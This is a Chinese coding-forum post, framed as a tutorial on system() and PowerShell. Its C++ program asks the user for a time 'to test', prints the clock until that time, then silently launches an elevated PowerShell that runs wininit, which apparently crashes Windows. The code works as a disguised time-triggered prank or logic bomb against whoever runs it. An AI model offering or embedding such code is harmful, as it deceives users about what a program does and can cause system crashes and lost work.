社区讨论

【编程学习】如何灵活运用system和powershell

灌水区参与者 4已保存回复 3

讨论操作

快速查看讨论及其快照的属性,并进行相关操作。

当前回复
3 条
当前快照
1 份
快照标识符
@m13ct9xs
此快照首次捕获于
2024/09/15 17:08
去年
此快照最后确认于
2024/09/15 17:10
去年
查看原帖
CPP
#include <bits/stdc++.h>
#define IAKIOI ios::sync_with_stdio(false);cin.tie(nullptr);cout.tie(nullptr);

const long long mod = 1e9 + 7, E = 1e6 + 1;

using namespace std;

typedef long long ll;
typedef unsigned long long ull;
typedef pair<ull, ull> puu;

void solve() {
	int x, y, z;
	printf("请输入您想测试的时间(精确到秒):");
	cin >> x >> y >> z;
	time_t t = time(nullptr);
	char* pre = ctime(&t);
	while (1) {
		t = time(nullptr);
		tm* now = localtime(&t);
		char* a = ctime(&t);
		int h = now->tm_hour;
		int m = now->tm_min;
		int s = now->tm_sec;
		if (h >= x && m >= y && s >= z) {
			system("start powershell Start-Process PowerShell -Verb RunAs wininit");
			return ;
		}
		cout << a;
	}
}

signed main() {
	IAKIOI;
	int t = 1;
	//	cin >> t;
	while (t--) {
		solve();
	}
}

回复

3 条回复,欢迎继续交流。

正在加载回复...